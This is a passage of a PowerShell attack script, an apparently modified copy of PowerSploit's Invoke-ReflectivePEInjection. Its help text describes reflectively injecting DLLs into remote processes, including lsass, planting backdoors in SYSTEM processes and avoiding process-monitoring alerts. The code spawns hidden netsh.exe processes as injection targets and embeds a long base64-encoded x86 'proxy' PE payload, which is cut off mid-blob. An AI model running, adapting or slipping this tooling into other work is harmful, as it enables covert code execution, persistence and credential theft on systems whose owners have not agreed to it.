a DLL in to memory of a remote process. +As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process. + +This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output +from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the +remote process. + +PowerSploit Function: Invoke-ReflectivePEInjection +Author: Joe Bialek, Twitter: @JosephBialek +Code review and modifications: Matt Graeber, Twitter: @mattifestation +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. + +.PARAMETER PEBytes + +A byte array containing a DLL/EXE to load and execute. + +.PARAMETER ComputerName + +Optional, an array of computernames to run the script on. + +.PARAMETER FuncReturnType + +Optional, the return type of the function being called in the DLL. Default: Void + Options: String, WString, Void. See notes for more information. + IMPORTANT: For DLLs being loaded remotely, only Void is supported. + +.PARAMETER ExeArgs + +Optional, arguments to pass to the executable being reflectively loaded. + +.PARAMETER ProcName + +Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. + +.PARAMETER ProcId + +Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. + +.PARAMETER ForceASLR + +Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even + if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when + loading in to a remote process. + +.PARAMETER DoNotZeroMZ + +Optional, will not wipe the MZ from the first two bytes of the PE. This is to be used primarily for testing purposes and to enable loading the same PE with Invoke-ReflectivePEInjection more than once. + +.EXAMPLE + +Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). +$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local + +.EXAMPLE + +Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print + the wchar_t* returned by WStringFunc() from all the computers. +$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) + +.EXAMPLE + +Load DemoEXE and run it locally. +$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" + +.EXAMPLE + +Load DemoEXE and run it locally. Forces ASLR on for the EXE. +$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR + +.EXAMPLE + +Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer. +$PEBytes = [IO.File]::ReadAllBytes('DemoDLL_RemoteProcess.dll') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local + +.NOTES +GENERAL NOTES: +The script has 3 basic sets of functionality: +1.) Reflectively load a DLL in to the PowerShell process + -Can return DLL output to user when run remotely or locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running pentest tools on remote computers without triggering process monitoring alerts. + -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info. +2.) Reflectively load an EXE in to the PowerShell process. + -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts. +3.) Reflectively inject a DLL in to a remote process. + -Can NOT return DLL output to the user when run remotely OR locally. + -Does NOT clean up memory in the remote process if/when DLL finishes execution. + -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory. + -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded. + +DLL LOADING NOTES: + +PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output. +If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL +return a char* or wchar_t*, which PowerShell can take and read the output from. Anything output from stdout which is run using powershell +remoting will not be returned to you. If you just run the PowerShell script locally, you WILL be able to see the stdout output from +applications because it will just appear in the console window. The limitation only applies when using PowerShell remoting. + +For DLL Loading: +Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled "YOUR CODE GOES HERE" +I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return +the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the +returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows: +wchar_t* : FuncReturnType = WString +char* : FuncReturnType = String +void : Default, don't supply a FuncReturnType + +For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string +using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns. + +The function name expected in the DLL for the prewritten FuncReturnType's is as follows: +WString : WStringFunc +String : StringFunc +Void : VoidFunc + +These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would +be declared as follows: +extern "C" __declspec( dllexport ) wchar_t* WStringFunc() + + +If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify +this script to accomodate this. You can find the code to modify in the section labeled "YOUR CODE GOES HERE". + +Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection + +.LINK + +http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ + +Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ +Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/ +#> + +[CmdletBinding()] +Param( + [Parameter(Position = 0, Mandatory = $false)] + [ValidateNotNullOrEmpty()] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1)] + [String[]] + $ComputerName, + + [Parameter(Position = 2)] + [ValidateSet( 'WString', 'String', 'Void' )] + [String] + $FuncReturnType = 'Void', + + [Parameter(Position = 3)] + [String] + $ExeArgs, + + [Parameter(Position = 4)] + [Int32] + $ProcId, + + [Parameter(Position = 5)] + [String] + $ProcName, + + [Parameter(Position = 6)] + [String] + $Payload, + + [Parameter(Position = 7)] + [String] + $NewProcess, + + [Switch] + $ForceASLR, + + [Switch] + $DoNotZeroMZ +) + +Set-StrictMode -Version 2 +if ($NewProcess) { + $pst = New-Object System.Diagnostics.ProcessStartInfo + $pst.WindowStyle = 'Hidden' + $pst.UseShellExecute = $False + $pst.CreateNoWindow = $True + $pst.FileName = $NewProcess + $Process = [System.Diagnostics.Process]::Start($pst) + [Int32]$ProcId = ($Process.Id).tostring() +} +if ($Payload -eq 'Proxy_x86') +{ + if ((!$procid) -and (!$procname) -and (!$NewProcess)) { + $pst = New-Object System.Diagnostics.ProcessStartInfo + $pst.WindowStyle = 'Hidden' + $pst.UseShellExecute = $False + $pst.CreateNoWindow = $True + $pst.FileName = "C:\Windows\syswow64\netsh.exe" + $Process = [System.Diagnostics.Process]::Start($pst) + [Int32]$ProcId = ($Process.Id).tostring() + } + echo "Using x86 proxy payload" + $poshmsproxy_86 = "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